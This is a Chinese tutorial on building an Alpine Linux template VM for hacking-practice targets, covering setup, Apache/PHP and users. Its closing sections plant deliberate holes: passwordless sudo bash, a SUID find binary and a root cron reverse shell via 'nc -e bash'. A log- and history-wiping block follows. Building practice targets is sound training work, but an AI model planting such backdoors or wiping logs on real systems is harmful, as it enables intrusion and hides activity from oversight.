目录

AlpineLinux模板构建

# 选择 AlpineLinux

Small. Simple. Secure.

Alpine Linux 是一个基于 musl libc 和 busybox 的安全、轻量级的 Linux 发行版。Alpine Linux 以其小巧的体积和高效的性能而闻名。

# Alpine Linux 官网

Alpine Linux 官网:https://www.alpinelinux.org/

下载 Virtual 版本镜像,适合虚拟机使用。

# 模板靶机用户

root:todd

# VirtualBox 安装 Alpine Linux

使用 VirtualBox 创建一个新的虚拟机,选择下载的 Alpine Linux 镜像进行安装。

安装完成,使用 root 用户登录,进入 live 安装环境,默认无密码,登录成功后,提示使用 setup-alpine 命令进行初始配置。

过程大多数选项保持默认即可,设置 root 密码 todd

在提示选择镜像源时,使用 f 参数,让 alpine 自动尝试并选择最快的镜像源。

在安装过程会提示是否添加user,直接回车,使用默认的no,是否安装 openssh,输入 yes,是否允许 root 用户通过 ssh 登录,输入 yes

磁盘选择列出的磁盘,使用方式选择sys,表示将 Alpine 安装到磁盘上,输入 y,确认写入并继续。

提示重启时,输入 poweroff 关闭虚拟机,移除virtualbox的光驱,更改启动顺序为硬盘启动,重新启动虚拟机。

现在,就可以尝试使用 ssh 远程登录 Alpine Linux 虚拟机了。

# 解决 VirtualBox 和 VMware 下网卡命名不一致导致的网络不可用问题

解决 Linux 在不同虚拟化平台(VirtualBox / VMware)之间迁移时,因可预测网卡命名机制导致的网络接口命名不一致问题

下面仅尝试在 Alpine Linux 上进行说明,其他发行版未测试。

查看磁盘分区信息,root分区在 /dev/sda3

这个分区名可能会因不同虚拟化平台而变化,使用 blkid 命令查看分区的 UUID,UUID 永远指向同一个分区。

编辑 /etc/update-extlinux.conf,修改 bootloader(锁死 eth0 + 稳定 root 分区)

找到 default_kernel_opts 行,修改为如下内容:

# default_kernel_opts="quiet rootfstype=ext4"
default_kernel_opts="quiet rootfstype=ext4 net.ifnames=0 biosdevname=0"
1
2

文件里已经默认指定了 root 分区为 UUID

应用配置,重启验证

update-extlinux
reboot
1
2

验证内核参数

root=UUID=7762e2e9-4b0c-4cf2-a61b-23111b666c5f
net.ifnames=0
biosdevname=0
1
2
3

# 修改 Alpine Linux ssh默认提示

编辑 /etc/motd 文件,修改 ssh 登录提示信息

效果:

# 修改开机 tty 控制台提示

IP、hostname 等信息需要动态获取,ubuntu、kali等发行版可以直接在 /etc/issue 里使用变量\4\n,但是 Alpine Linux 不支持。

Alpine 使用 OpenRC + getty 服务管理 tty 控制台登录。

编辑:

vi /etc/inittab
1

修改 tty1,参数解释:

  • -n:表示不进行登录名的提示,直接调用指定的登录程序。
  • -l /usr/local/bin/tty-banner.sh:指定登录程序为 /usr/local/bin/tty-banner.sh 脚本,而不是默认的登录程序(通常是 /sbin/getty)。这个脚本可以自定义登录提示信息。
tty1::respawn:/sbin/getty -n -l /usr/local/bin/tty-banner.sh 38400 tty1
1

创建 /usr/local/bin/tty-banner.sh 脚本,内容如下:

#!/bin/sh

PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH

/usr/bin/clear 2>/dev/null || clear

HOST="$(hostname 2>/dev/null || echo unknown)"

IP="$(
  /sbin/ip -4 addr show eth0 2>/dev/null \
  | /usr/bin/awk '/inet /{print $2}' \
  | /usr/bin/cut -d/ -f1
)"
[ -z "$IP" ] && IP="DHCP not ready"

cat <<'EOF'

                                   .     **                                     
                                *           *.                                  
                                              ,*                                
                                                 *,                             
                         ,                         ,*                           
                      .,                              *,                        
                    /                                    *                      
                 ,*                                        *,                   
               /.                                            .*.                
             *                                                  **              
             ,*                                               ,*                
                **                                          *.                  
                   **                                    **.                    
                     ,*                                **                       
                        *,                          ,*                          
                           *                      **                            
                             *,                .*                               
                                *.           **                                 
                                  **      ,*,                                   
                                     ** *,     HackMyVM

QQ Group:   660930334
EOF

echo " Hostname : $HOST"
echo " IP Addr  : $IP"
exec /bin/login
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

赋予脚本可执行权限:

chmod +x /usr/local/bin/tty-banner.sh
1

效果图,丑是丑了点

流程:

init
 └─ getty (respawn)
      └─ -l tty-banner.sh
            ├─ 打印 banner
            └─ exec /bin/login
1
2
3
4
5

# 安装 sudo

Alpine Linux 默认没有安装 sudo,可以手动安装。

sudo 包含在 community 仓库中,确保已经启用该仓库,编辑 /etc/apk/repositories 文件,取消注释 community 仓库。

vi /etc/apk/repositories
1

取消注释 community 仓库行:

http://dl-cdn.alpinelinux.org/alpine/v3.18/community
1

更新包索引并安装 sudo:

apk update
apk add sudo
1
2

验证安装成功:

sudo -V
1

# 安装 Apache2 + PHP web环境

安装 Apache2

apk add apache2
1

启动并设置为开机自启

rc-service apache2 start
rc-update add apache2 default
1
2

测试:

echo "<h1>Apache OK</h1>" > /var/www/localhost/htdocs/index.html
1

安装 PHP 和 php-fpm

apk add php php-fpm
1

确认 php-fpm 服务脚本名称:

注:Alpine 版本不同,PHP 版本号可能不同(如 php-fpm83),请根据实际按照的包名调整命令

localhost:~# ls -1 /etc/init.d | grep -E 'php|fpm'
php-fpm84
1
2

启动 php-fpm 并设置为开机自启

rc-service php-fpm84 start
rc-update add php-fpm84 default
1
2

# 配置 Apache2 解析 PHP

备份 /etc/php84/php-fpm.d/www.conf 文件

cp /etc/php84/php-fpm.d/www.conf /etc/php84/php-fpm.d/www.conf.bak
1

把非注释部分提取并覆盖回原文件

grep -v '^;' /etc/php84/php-fpm.d/www.conf.bak | grep '.' > /etc/php84/php-fpm.d/www.conf
1

编辑 php-fpm pool 配置,修改 listen 参数为 /var/run/php-fpm.sock

vi /etc/php84/php-fpm.d/www.conf
1

找到 listen 行,修改为:

listen = /run/php-fpm84/php-fpm.sock
1

添加 listen.owner 和 listen.group 行,设置 socket 文件的所有者和所属组为 apache

[www]
user = apache
group = apache

listen = /run/php-fpm84/php-fpm.sock
listen.owner = apache
listen.group = apache
listen.mode = 0660

pm = dynamic
pm.max_children = 5
pm.start_servers = 2
pm.min_spare_servers = 1
pm.max_spare_servers = 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14

重启 php-fpm84,让 socket 生成

rc-service php-fpm84 restart
1

验证生成了 php-fpm.sock :

修改 Apache2 主配置文件,启用 PHP 支持 备份 /etc/apache2/httpd.conf 文件

cp /etc/apache2/httpd.conf /etc/apache2/httpd.conf.bak
1

把非注释部分提取并覆盖回原文件

grep -v '^#' /etc/apache2/httpd.conf.bak | grep '.' > /etc/apache2/httpd.conf
1

把 web 根目录改为 /var/www/html,修改主配置文件的 DocumentRoot 行:

DocumentRoot "/var/www/html"

<Directory "/var/www/html">
    AllowOverride None
    Require all granted
</Directory>
1
2
3
4
5
6

修改 ServerRoot 行:

ServerRoot /usr/lib/apache2
1

日志路径修改,同时添加访问目录时,默认返回 index.php 文件:

ErrorLog /var/log/apache2/error.log
CustomLog /var/log/apache2/access.log combined
1
2

下面还有条默认的日志路径,使用相对路径,注释掉

创建 /var/www/html 目录,并设置权限

mkdir -p /var/www/html
chown -R apache:apache /var/www/html
chmod -R 755 /var/www/html
mkdir -p /var/log/apache2
chown -R apache:apache /var/log/apache2
chmod -R 755 /var/log/apache2
1
2
3
4
5
6

配置 Apache2 以使用 PHP-FPM

修改主配置文件,在配置文件开头补充模块 proxy_module 和 proxy_fcgi_module,并配置处理 PHP 文件的方式。

LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so
1
2

在主配置文件末尾IncludeOptional /etc/apache2/conf.d/*.conf之前添加以下内容:

<FilesMatch \.php$>
    SetHandler "proxy:unix:/run/php-fpm84/php-fpm.sock|fcgi://localhost/"
</FilesMatch>
1
2
3

重启服务

rc-service php-fpm84 restart
rc-service apache2 restart
1
2

apache 报错,找不到动态模块 mod_proxy.so 和 mod_proxy_fcgi.so,发现我的模块都在 /usr/lib/apache2/ 目录下,而不是 /usr/lib/apache2/modules/ 目录下。

备份,在批量删除 modules 前缀

cp /etc/apache2/httpd.conf /etc/apache2/httpd.conf.bak2
sed -i 's# modules/# #g' /etc/apache2/httpd.conf
1
2

安装 mod_proxymod_proxy_fcgi 模块,mod_proxy_fcgi 打包在 mod_proxy里。

apk add apache2-proxy
1

编辑/etc/apache2/conf.d/proxy.conf,修改 modules/ 路径部分

备份

cp /etc/apache2/conf.d/proxy.conf /etc/apache2/conf.d/proxy.conf.bak
1

需要把 moudles/ 前缀删除

sed -i 's#modules/##g' /etc/apache2/conf.d/proxy.conf
1

重启服务,终于起来了

rc-service apache2 restart
1

在 web 根目录创建测试 PHP 文件

echo "<?php phpinfo(); ?>" > /var/www/html/index.php
1

此时,磁盘大小约为 110MB

# 补充基础工具环境

安装 curl、wget、netcat-openbsd、socat、bash 等基础工具,vim大小约为30-40MB,按需安装。

apk add curl wget netcat-openbsd socat bash
1

# 安装其他 (可选)

下面做命令安装演示,按需添加,不再统一添加到模板中。

安装vim

apk add vim
1

安装编译环境

# 安装 gcc, make, musl-dev 等编译环境
apk add build-base git
1
2

安装 python3、nodejs

apk add python3 nodejs npm
1

安装 nginx

apk add nginx
1

安装 mariadb

apk add mariadb mariadb-client
1

# 操作示例

# 设置主机名

编辑 /etc/hostname 文件,设置主机名

hostname="tmp"
echo "$hostname" > /etc/hostname
cat >/etc/hosts <<EOF
127.0.0.1   localhost
127.0.1.1   $hostname
::1         localhost ip6-localhost ip6-loopback
EOF
hostname -F /etc/hostname
1
2
3
4
5
6
7
8

# 简单设置提示符

创建 /etc/bash/prompt.sh 文件

cat > /etc/bash/prompt.sh <<'EOF'
[ -n "$BASH_VERSION" ] || return 0
if [ "$(id -u)" -eq 0 ]; then
  PS1='\u@\h:\w# '
else
  PS1='\[\e[1;32m\]\u@\h\[\e[0m\]:\w\$ '
fi
EOF
chmod 0644 /etc/bash/prompt.sh
1
2
3
4
5
6
7
8
9

给未来的用户生效:

mkdir -p /etc/skel
cat > /etc/skel/.bashrc <<'EOF'
case "$-" in
  *i*) [ -r /etc/bash/prompt.sh ] && . /etc/bash/prompt.sh ;;
esac
EOF
chmod 0644 /etc/skel/.bashrc
1
2
3
4
5
6
7

创建 /etc/bash/bashrc 文件,/etc/profile.d/00-bashrc.sh会调用这个文件:

cat > /etc/bash/bashrc <<'EOF'
[ -r /etc/bash/prompt.sh ] && . /etc/bash/prompt.sh
EOF
1
2
3

# 创建移除普通用户

创建普通用户

  • -D : 使用默认选项创建用户,不会提示输入额外信息。
  • -G : 指定用户所属的附加组,这里将用户添加到 the0n3 组中。
  • -s : 指定用户的登录 shell,这里使用 /bin/bash。
  • -h : 指定用户的主目录,这里设置为 /home/the0n3。
  • -g : 用户描述信息。
addgroup the0n3
adduser -D -G the0n3 -s /bin/bash -h /home/the0n3 the0n3
echo "the0n3:todd" | chpasswd
1
2
3

移除普通用户

# 移除用户及主目录
deluser --remove-home username
1
2

移除用户 the0n3 及其主目录:

deluser --remove-home the0n3
1

# 安装卸载常用工具包

alpine 使用 apk 包管理器安装常用工具包:

apk add xxx
1

例如,安装 git、curl、wget:

apk add git curl wget
1

安装 python3 和 pip:

apk add python3 py3-pip
1

如果只是需要 flask 服务,可以直接安装 flask 包:

apk add python3 py3-flask
1

卸载已安装的工具包:

apk del xxx
1

例如,卸载 git:

apk del git
1

# 服务操作

alpine 使用 OpenRC 管理服务。

设置服务开机自启:

rc-update add 服务名 default
1

取消服务开机自启:

rc-update del 服务名 default
1

启动服务:

rc-service 服务名 start
1

停止服务:

rc-service 服务名 stop
1

查看服务状态:

rc-service 服务名 status
1

重启服务:

rc-service 服务名 restart
1

# 创建自定义服务

创建 OpenRC 服务脚本

cat >/etc/init.d/app <<'EOF'
#!/sbin/openrc-run

name="app"
description="Run app.py as tuf user"

command="/usr/bin/python3"
command_args="/app/app.py"
command_user="tuf:tuf"

command_background="yes"
pidfile="/run/${RC_SVCNAME}.pid"

depend() {
    need net
}

EOF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

授予执行权限

chmod +x /etc/init.d/app
1

加入开机自启动并立即启动

rc-update add app default
# rc-service app start
1
2

# 添加 sudo 权限

编辑 /etc/sudoers 文件,或 /etc/sudoers.d/ 目录下创建新文件,以下几种格式:

# 允许用户 the0n3 使用 sudo 执行所有命令需要密码
the0n3 ALL=(ALL) ALL
# 允许用户 the0n3 使用 sudo 执行所有命令且不需要密码
the0n3 ALL=(ALL) NOPASSWD: ALL
# 允许用户 the0n3 使用 sudo 执行特定命令
the0n3 ALL=(ALL) NOPASSWD: /bin/ls, /usr/bin/id
1
2
3
4
5
6

给 the0n3 用户授权 sudo bash 举例:

echo 'the0n3 ALL=(ALL) NOPASSWD: /bin/bash' > /etc/sudoers.d/the0n3
chmod 0440 /etc/sudoers.d/the0n3
1
2

# 设置 SUID 权限

假设我们要创建一个拥有 SUID 权限的 find 命令作为提权点,这允许用户以文件所有者(通常是 root)的权限执行命令。

# 复制二进制文件到常用目录
cp /usr/bin/find /usr/local/bin/find

# 赋予 SUID 权限
chmod u+s /usr/local/bin/find
# 验证 SUID 权限
ls -l /usr/local/bin/find
1
2
3
4
5
6
7

# 定时任务

alpine 使用 crond 服务管理定时任务,可以在 /etc/crontabs/ 目录下创建文件名为用户名的脚本文件。

echo '* * * * * root /bin/bash -c "busybox nc 192.168.6.101 4444 -e bash"' > /etc/crontabs/root
1

# 痕迹清理

清理 bash 历史记录

# 如果有vim
mkdir -p /etc/vim
echo 'set viminfo=' >> /etc/vim/vimrc
# 清理当前会话历史、历史命令
history -c
rm -rf /root/.ash_history /home/*/.ash_history
rm -rf /root/.bash_history /home/*/.bash_history
rm -rf /root/.viminfo /home/*/.viminfo
ln -s /dev/null /root/.bash_history
ln -s /dev/null /home/*/.bash_history
rm -rf /root/.python_history /home/*/.python_history
# 清理日志
> /var/log/apache2/access.log
> /var/log/apache2/error.log
> /var/log/auth.log
> /var/log/apk.log
> /var/log/syslog
: > /var/log/wtmp
: > /var/log/btmp
> /var/log/messages
# 临时文件(可选)
rm -rf /tmp/* /var/tmp/*
# 靶机 ssh 记录
rm -rf /root/.ssh/known_hosts
rm -rf /home/*/.ssh/known_hosts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

清理 apk 缓存

# 清理 apk 缓存
apk cache clean
rm -rf /var/cache/apk/*
1
2
3
最后一次更新于: 2026/01/29, 00:00:02